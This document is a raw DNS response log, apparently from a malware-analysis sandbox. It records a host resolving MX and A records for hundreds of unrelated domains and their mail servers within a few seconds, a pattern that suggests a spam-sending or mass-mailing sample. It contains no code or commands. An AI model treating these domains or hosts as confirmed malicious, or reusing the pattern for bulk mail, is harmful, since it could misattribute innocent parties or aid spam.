Nov 26, 2023 06:59:28.586692095 CET	1.1.1.1	192.168.2.4	0x5623	No error (0)	harasduberry.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.586692095 CET	1.1.1.1	192.168.2.4	0x5623	No error (0)	harasduberry.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.587913990 CET	1.1.1.1	192.168.2.4	0xdf5a	No error (0)	gccb.co.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.587913990 CET	1.1.1.1	192.168.2.4	0xdf5a	No error (0)	gccb.co.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.587913990 CET	1.1.1.1	192.168.2.4	0xdf5a	No error (0)	gccb.co.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.587913990 CET	1.1.1.1	192.168.2.4	0xdf5a	No error (0)	gccb.co.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.587913990 CET	1.1.1.1	192.168.2.4	0xdf5a	No error (0)	gccb.co.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.588016987 CET	1.1.1.1	192.168.2.4	0xb6ad	No error (0)	gruporegiosafety.com		144.202.62.131	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.595663071 CET	1.1.1.1	192.168.2.4	0x830b	No error (0)	rechagricola.com.br		18.229.0.171	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.603920937 CET	1.1.1.1	192.168.2.4	0x23d1	No error (0)	tcetmumbai.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.603920937 CET	1.1.1.1	192.168.2.4	0x23d1	No error (0)	tcetmumbai.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.603920937 CET	1.1.1.1	192.168.2.4	0x23d1	No error (0)	tcetmumbai.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.603920937 CET	1.1.1.1	192.168.2.4	0x23d1	No error (0)	tcetmumbai.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.603920937 CET	1.1.1.1	192.168.2.4	0x23d1	No error (0)	tcetmumbai.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.606729984 CET	1.1.1.1	192.168.2.4	0x9674	Name error (3)	highstreet-re.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.617633104 CET	1.1.1.1	192.168.2.4	0x5f51	No error (0)	macisis.co.uk			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.624408007 CET	1.1.1.1	192.168.2.4	0xebc9	No error (0)	nakupher.cz			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.624408007 CET	1.1.1.1	192.168.2.4	0xebc9	No error (0)	nakupher.cz			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.638601065 CET	1.1.1.1	192.168.2.4	0x8292	No error (0)	digdig.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.656409979 CET	1.1.1.1	192.168.2.4	0xaea	No error (0)	ondania.com		103.224.212.226	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.676512003 CET	1.1.1.1	192.168.2.4	0xa78d	No error (0)	my.calvary.qld.edu.au		120.88.73.238	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.680368900 CET	1.1.1.1	192.168.2.4	0xe813	No error (0)	talentius.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.684257984 CET	1.1.1.1	192.168.2.4	0x3e42	No error (0)	students.kasralainy.edu.eg		193.227.5.222	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.685888052 CET	1.1.1.1	192.168.2.4	0x7f5e	No error (0)	student.ub.ac.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.685888052 CET	1.1.1.1	192.168.2.4	0x7f5e	No error (0)	student.ub.ac.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.685888052 CET	1.1.1.1	192.168.2.4	0x7f5e	No error (0)	student.ub.ac.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.685888052 CET	1.1.1.1	192.168.2.4	0x7f5e	No error (0)	student.ub.ac.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.685888052 CET	1.1.1.1	192.168.2.4	0x7f5e	No error (0)	student.ub.ac.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.703038931 CET	1.1.1.1	192.168.2.4	0x722d	Name error (3)	member3.co.za	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.703840017 CET	1.1.1.1	192.168.2.4	0x75e9	Server failure (2)	bosworthacademy.org	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.721586943 CET	1.1.1.1	192.168.2.4	0xc4e3	No error (0)	bunasta.eu			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.723172903 CET	1.1.1.1	192.168.2.4	0x39cd	No error (0)	integraledu.hr		78.128.62.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.724889994 CET	1.1.1.1	192.168.2.4	0x977d	No error (0)	awb-apparatebau.de			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.725297928 CET	1.1.1.1	192.168.2.4	0xeb93	No error (0)	student.debritto.sch.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.725297928 CET	1.1.1.1	192.168.2.4	0xeb93	No error (0)	student.debritto.sch.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.725297928 CET	1.1.1.1	192.168.2.4	0xeb93	No error (0)	student.debritto.sch.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.725297928 CET	1.1.1.1	192.168.2.4	0xeb93	No error (0)	student.debritto.sch.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.725297928 CET	1.1.1.1	192.168.2.4	0xeb93	No error (0)	student.debritto.sch.id			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.726675034 CET	1.1.1.1	192.168.2.4	0x493f	No error (0)	edgewater.group		104.200.30.31	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.739581108 CET	1.1.1.1	192.168.2.4	0x2a7f	Name error (3)	utlinks.om	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.747755051 CET	1.1.1.1	192.168.2.4	0xd24b	No error (0)	americanrecords.it		109.168.109.224	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.755860090 CET	1.1.1.1	192.168.2.4	0x131b	No error (0)	kappablu.de			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.759222031 CET	1.1.1.1	192.168.2.4	0x9efc	No error (0)	adm.uksw.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.759222031 CET	1.1.1.1	192.168.2.4	0x9efc	No error (0)	adm.uksw.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.759222031 CET	1.1.1.1	192.168.2.4	0x9efc	No error (0)	adm.uksw.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.759222031 CET	1.1.1.1	192.168.2.4	0x9efc	No error (0)	adm.uksw.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.759222031 CET	1.1.1.1	192.168.2.4	0x9efc	No error (0)	adm.uksw.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.782620907 CET	1.1.1.1	192.168.2.4	0xe6db	No error (0)	my.calvary.qld.edu.au			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.788321972 CET	1.1.1.1	192.168.2.4	0xe93b	No error (0)	locandafrancigena.it			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.811619043 CET	1.1.1.1	192.168.2.4	0x637c	No error (0)	maxiv.lu.se			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.825772047 CET	1.1.1.1	192.168.2.4	0xf4dc	No error (0)	wonka.cc	wonka.cc.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:28.825772047 CET	1.1.1.1	192.168.2.4	0xf4dc	No error (0)	wonka.cc.w.cdngslb.com		47.246.24.211	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.827665091 CET	1.1.1.1	192.168.2.4	0x2701	Name error (3)	bayambnag.gov.ph	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.832137108 CET	1.1.1.1	192.168.2.4	0x8980	No error (0)	daisyokogyo.co.jp			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.834623098 CET	1.1.1.1	192.168.2.4	0x6774	No error (0)	financefast.com.br			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.834623098 CET	1.1.1.1	192.168.2.4	0x6774	No error (0)	financefast.com.br			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.834623098 CET	1.1.1.1	192.168.2.4	0x6774	No error (0)	financefast.com.br			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.834623098 CET	1.1.1.1	192.168.2.4	0x6774	No error (0)	financefast.com.br			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.849745989 CET	1.1.1.1	192.168.2.4	0x6a4	No error (0)	tradeavenida.com		66.235.200.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.872030973 CET	1.1.1.1	192.168.2.4	0xc9b0	No error (0)	ippals.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.894707918 CET	1.1.1.1	192.168.2.4	0xe0c9	No error (0)	talentius.com		185.54.192.125	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.899801016 CET	1.1.1.1	192.168.2.4	0x9540	No error (0)	bunasta.eu		92.62.143.50	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.942820072 CET	1.1.1.1	192.168.2.4	0xcf2a	No error (0)	federwild.at			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.951503038 CET	1.1.1.1	192.168.2.4	0xa3cb	No error (0)	prettypollycleaning.ae		192.96.211.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.961322069 CET	1.1.1.1	192.168.2.4	0xbfe7	No error (0)	student.debritto.sch.id		117.20.63.148	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.987329006 CET	1.1.1.1	192.168.2.4	0x4aa9	Name error (3)	heathcotebarr.eu	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.996145964 CET	1.1.1.1	192.168.2.4	0xb7f1	Name error (3)	elitebusinesshn.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.018095016 CET	1.1.1.1	192.168.2.4	0x8de4	No error (0)	hightideinc.com		104.26.12.245	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.018095016 CET	1.1.1.1	192.168.2.4	0x8de4	No error (0)	hightideinc.com		172.67.69.102	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.018095016 CET	1.1.1.1	192.168.2.4	0x8de4	No error (0)	hightideinc.com		104.26.13.245	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.025537014 CET	1.1.1.1	192.168.2.4	0x335d	Name error (3)	xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.027364016 CET	1.1.1.1	192.168.2.4	0xc3bc	No error (0)	daisyokogyo.co.jp		202.226.37.158	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.098124027 CET	1.1.1.1	192.168.2.4	0xdfa9	No error (0)	wonka.cc			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.098124027 CET	1.1.1.1	192.168.2.4	0xdfa9	No error (0)	wonka.cc			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.098124027 CET	1.1.1.1	192.168.2.4	0xdfa9	No error (0)	wonka.cc			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.118824959 CET	1.1.1.1	192.168.2.4	0x5d7a	No error (0)	goldenfishcompany.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.118824959 CET	1.1.1.1	192.168.2.4	0x5d7a	No error (0)	goldenfishcompany.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.118824959 CET	1.1.1.1	192.168.2.4	0x5d7a	No error (0)	goldenfishcompany.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.118824959 CET	1.1.1.1	192.168.2.4	0x5d7a	No error (0)	goldenfishcompany.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.118824959 CET	1.1.1.1	192.168.2.4	0x5d7a	No error (0)	goldenfishcompany.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.118854046 CET	1.1.1.1	192.168.2.4	0xb749	No error (0)	gatewaytoearlylearning.com		199.34.228.177	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.159281969 CET	1.1.1.1	192.168.2.4	0xada8	Server failure (2)	schmith.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.179234028 CET	1.1.1.1	192.168.2.4	0x8f2c	No error (0)	esoft.academy		172.67.132.45	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.179234028 CET	1.1.1.1	192.168.2.4	0x8f2c	No error (0)	esoft.academy		104.21.12.154	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.210630894 CET	1.1.1.1	192.168.2.4	0xdfa9	No error (0)	wonka.cc			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.210630894 CET	1.1.1.1	192.168.2.4	0xdfa9	No error (0)	wonka.cc			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.210630894 CET	1.1.1.1	192.168.2.4	0xdfa9	No error (0)	wonka.cc			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.219607115 CET	1.1.1.1	192.168.2.4	0xd7da	No error (0)	grantstech.io		185.135.132.105	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.258215904 CET	1.1.1.1	192.168.2.4	0xa7c6	No error (0)	gstudent.ctu.edu.vn			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.258215904 CET	1.1.1.1	192.168.2.4	0xa7c6	No error (0)	gstudent.ctu.edu.vn			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.258215904 CET	1.1.1.1	192.168.2.4	0xa7c6	No error (0)	gstudent.ctu.edu.vn			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.258215904 CET	1.1.1.1	192.168.2.4	0xa7c6	No error (0)	gstudent.ctu.edu.vn			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.258215904 CET	1.1.1.1	192.168.2.4	0xa7c6	No error (0)	gstudent.ctu.edu.vn			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.295702934 CET	1.1.1.1	192.168.2.4	0x7af8	Name error (3)	tnav.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.346560001 CET	1.1.1.1	192.168.2.4	0xb43b	No error (0)	belongfbg.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.429347992 CET	1.1.1.1	192.168.2.4	0x50b3	No error (0)	dkrs.gov.ua			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.465382099 CET	1.1.1.1	192.168.2.4	0x50b3	No error (0)	dkrs.gov.ua			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.468117952 CET	1.1.1.1	192.168.2.4	0x6497	Name error (3)	5.e9mbw4gh	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.469542027 CET	1.1.1.1	192.168.2.4	0x8d47	No error (0)	nyklawfirm.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.470266104 CET	1.1.1.1	192.168.2.4	0x4b95	Name error (3)	matttux.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.500624895 CET	1.1.1.1	192.168.2.4	0x10cd	No error (0)	healteas.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.527287960 CET	1.1.1.1	192.168.2.4	0xc771	Name error (3)	bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.533746004 CET	1.1.1.1	192.168.2.4	0xd26d	No error (0)	saudi-jamac.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.534279108 CET	1.1.1.1	192.168.2.4	0xf28e	No error (0)	avient-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.534279108 CET	1.1.1.1	192.168.2.4	0xf28e	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.534279108 CET	1.1.1.1	192.168.2.4	0xf28e	No error (0)	avient-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.534279108 CET	1.1.1.1	192.168.2.4	0xf28e	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.534279108 CET	1.1.1.1	192.168.2.4	0xf28e	No error (0)	avient-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.534279108 CET	1.1.1.1	192.168.2.4	0xf28e	No error (0)	avient-com.mail.protection.outlook.com		52.101.8.34	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.534279108 CET	1.1.1.1	192.168.2.4	0xf28e	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.17	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.537586927 CET	1.1.1.1	192.168.2.4	0x797b	No error (0)	coimbrausa.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.559037924 CET	1.1.1.1	192.168.2.4	0x5b24	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.559037924 CET	1.1.1.1	192.168.2.4	0x5b24	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.559037924 CET	1.1.1.1	192.168.2.4	0x5b24	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.559037924 CET	1.1.1.1	192.168.2.4	0x5b24	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.559037924 CET	1.1.1.1	192.168.2.4	0x5b24	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.559037924 CET	1.1.1.1	192.168.2.4	0x5b24	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.559037924 CET	1.1.1.1	192.168.2.4	0x5b24	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.9.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.568041086 CET	1.1.1.1	192.168.2.4	0xd4ff	No error (0)	vivanettv.co.ke			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.850644112 CET	1.1.1.1	192.168.2.4	0x4ed3	Name error (3)	foundtoo.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:29.901928902 CET	1.1.1.1	192.168.2.4	0x4cf1	No error (0)	aspmx.l.google.com		142.251.16.27	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.902010918 CET	1.1.1.1	192.168.2.4	0x3d24	No error (0)	route3.mx.cloudflare.net		162.159.205.25	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.902010918 CET	1.1.1.1	192.168.2.4	0x3d24	No error (0)	route3.mx.cloudflare.net		162.159.205.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.902010918 CET	1.1.1.1	192.168.2.4	0x3d24	No error (0)	route3.mx.cloudflare.net		162.159.205.23	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.908945084 CET	1.1.1.1	192.168.2.4	0x29ea	No error (0)	mx00.1and1.com		74.208.5.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.909527063 CET	1.1.1.1	192.168.2.4	0x224c	No error (0)	ASPMX5.GOOGLEMAIL.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.911040068 CET	1.1.1.1	192.168.2.4	0xd6a2	No error (0)	capforge.com		67.205.16.72	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.912988901 CET	1.1.1.1	192.168.2.4	0x6307	No error (0)	mx.mail-data.net		143.244.202.96	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.923633099 CET	1.1.1.1	192.168.2.4	0x789c	No error (0)	alt3.aspmx.l.google.com		142.250.27.27	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.923898935 CET	1.1.1.1	192.168.2.4	0x5fdc	No error (0)	mx2.zoho.com		136.143.191.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.927558899 CET	1.1.1.1	192.168.2.4	0xf676	No error (0)	d405642.a.ess.ca.barracudanetworks.com		15.222.16.211	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.927558899 CET	1.1.1.1	192.168.2.4	0xf676	No error (0)	d405642.a.ess.ca.barracudanetworks.com		15.222.16.210	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.927558899 CET	1.1.1.1	192.168.2.4	0xf676	No error (0)	d405642.a.ess.ca.barracudanetworks.com		15.222.16.209	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.993751049 CET	1.1.1.1	192.168.2.4	0xebe4	No error (0)	krkconcord-com.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:29.993751049 CET	1.1.1.1	192.168.2.4	0xebe4	No error (0)	krkconcord-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.074651957 CET	1.1.1.1	192.168.2.4	0x5ac7	No error (0)	beachrecruitment.com		95.168.220.210	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.084028006 CET	1.1.1.1	192.168.2.4	0x9431	No error (0)	mail.gasp-ga.com		162.241.224.218	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.096333981 CET	1.1.1.1	192.168.2.4	0x83ab	No error (0)	gccb.co.in		164.52.221.51	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.125236034 CET	1.1.1.1	192.168.2.4	0x9e55	Name error (3)	highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.172692060 CET	1.1.1.1	192.168.2.4	0x3363	No error (0)	gmailvz.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.172692060 CET	1.1.1.1	192.168.2.4	0x3363	No error (0)	gmailvz.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.176055908 CET	1.1.1.1	192.168.2.4	0xad7b	Name error (3)	kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.179639101 CET	1.1.1.1	192.168.2.4	0x8d0c	No error (0)	srmist.edu.in		13.234.155.54	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.179639101 CET	1.1.1.1	192.168.2.4	0x8d0c	No error (0)	srmist.edu.in		35.154.156.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.185205936 CET	1.1.1.1	192.168.2.4	0x4ae5	No error (0)	alt4.gmr-smtp-in.l.google.com		142.250.153.14	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.189024925 CET	1.1.1.1	192.168.2.4	0x43f7	No error (0)	unaj.edu.pe		15.235.14.141	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.190057039 CET	1.1.1.1	192.168.2.4	0x2255	No error (0)	alt1.aspmx.l.google.com		209.85.202.27	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.192444086 CET	1.1.1.1	192.168.2.4	0x6ac1	No error (0)	mx.trouble-free.net		66.45.228.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.194106102 CET	1.1.1.1	192.168.2.4	0xa6f6	No error (0)	mx-biz.mail.am0.yahoodns.net		67.195.204.83	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.194106102 CET	1.1.1.1	192.168.2.4	0xa6f6	No error (0)	mx-biz.mail.am0.yahoodns.net		67.195.228.75	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.194207907 CET	1.1.1.1	192.168.2.4	0x5341	No error (0)	mailstore1.secureserver.net		216.69.141.82	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.194207907 CET	1.1.1.1	192.168.2.4	0x5341	No error (0)	mailstore1.secureserver.net		68.178.213.244	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.194207907 CET	1.1.1.1	192.168.2.4	0x5341	No error (0)	mailstore1.secureserver.net		68.178.213.243	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.194843054 CET	1.1.1.1	192.168.2.4	0x5c48	No error (0)	mx1.emailsrvr.com		146.20.161.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.205208063 CET	1.1.1.1	192.168.2.4	0x453a	Name error (3)	y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.218739986 CET	1.1.1.1	192.168.2.4	0x7e47	No error (0)	nakupher.cz		37.157.195.144	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.222435951 CET	1.1.1.1	192.168.2.4	0x5ff4	No error (0)	2brosandahosepressurewashing.com		185.230.63.186	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.222435951 CET	1.1.1.1	192.168.2.4	0x5ff4	No error (0)	2brosandahosepressurewashing.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.222435951 CET	1.1.1.1	192.168.2.4	0x5ff4	No error (0)	2brosandahosepressurewashing.com		185.230.63.171	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.222946882 CET	1.1.1.1	192.168.2.4	0xa4ba	Name error (3)	ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.224950075 CET	1.1.1.1	192.168.2.4	0x91a4	Name error (3)	mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.227188110 CET	1.1.1.1	192.168.2.4	0xe9ac	No error (0)	viidelta.com		89.31.143.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.228604078 CET	1.1.1.1	192.168.2.4	0x7e1c	No error (0)	quipuapp.com		15.236.29.106	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.228604078 CET	1.1.1.1	192.168.2.4	0x7e1c	No error (0)	quipuapp.com		15.236.187.69	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:30.232495070 CET	1.1.1.1	192.168.2.4	0x7db7	No error (0)	ce-logic.com		54.83.33.36	A (IP address)	IN (0x0001)	false
